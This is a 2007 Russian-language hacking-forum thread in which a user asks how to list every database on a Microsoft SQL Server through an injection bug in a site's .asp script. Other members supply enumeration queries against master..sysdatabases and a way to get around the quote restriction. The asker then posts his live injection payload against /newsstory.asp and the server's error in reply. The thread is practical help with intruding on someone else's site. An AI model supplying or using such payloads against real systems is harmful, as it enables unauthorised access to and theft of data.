HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MSSQL Injection вопрос
  #1  
Старый 16.08.2007, 15:49
sh-smoker
Познающий
Регистрация: 13.01.2007
Сообщений: 35
С нами: 10171046

Репутация: -12
Question MSSQL Injection вопрос

Каким методом можно получить список существующих баз данных?
 
Ответить с цитированием

  #2  
Старый 16.08.2007, 15:55
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами: 11217866

Репутация: 3812


По умолчанию

show databases;
__________________
 
Ответить с цитированием

  #3  
Старый 16.08.2007, 16:03
sh-smoker
Познающий
Регистрация: 13.01.2007
Сообщений: 35
С нами: 10171046

Репутация: -12
По умолчанию

Это не то. Мне через багу в скрипте надо узнать все существующие базы.

запрос типа .asp?ID=1'INJECTION
 
Ответить с цитированием

  #4  
Старый 16.08.2007, 16:36
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

http://hack-shop.org.ru/board/showthread.php?t=24
Цитата:
select top 1 name from master..sysdatabases
 
Ответить с цитированием

  #5  
Старый 16.08.2007, 16:55
sh-smoker
Познающий
Регистрация: 13.01.2007
Сообщений: 35
С нами: 10171046

Репутация: -12
По умолчанию

спасибо, помог
Только что-то select top 2 start at 1 не пашет

на единицу ругается Incorrect syntax near '1'
 
Ответить с цитированием

  #6  
Старый 16.08.2007, 17:27
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию

чтоб все поперебирать можно так select top 1 name from master..sysdatabases where name not in ('master','tempdb','bla bla','и так далее')
 
Ответить с цитированием

  #7  
Старый 16.08.2007, 17:31
sh-smoker
Познающий
Регистрация: 13.01.2007
Сообщений: 35
С нами: 10171046

Репутация: -12
По умолчанию

Цитата:
Сообщение от ShAnKaR  
чтоб все поперебирать можно так select top 1 name from master..sysdatabases where name not in ('master','tempdb','bla bla','и так далее')
я знаю, но кавычки ставить нельзя.
 
Ответить с цитированием

  #8  
Старый 16.08.2007, 17:58
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Цитата:
select top 2 start at 1 не пашет
Запрос гласит вывести 2 строчки начиная с 1
 
Ответить с цитированием

  #9  
Старый 16.08.2007, 17:59
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Цитата:
я знаю, но кавычки ставить нельзя.
можно использывать order by checksum
 
Ответить с цитированием

  #10  
Старый 16.08.2007, 19:09
sh-smoker
Познающий
Регистрация: 13.01.2007
Сообщений: 35
С нами: 10171046

Репутация: -12
По умолчанию

-1+or+1=(select+top+1+start+at+2+name+from+master.. sysdatabases)--

ответ:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near '1'.

/newsstory.asp, line 15


что означает, это выражение я понял, не могу понять в чем ошибка синтаксиса
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.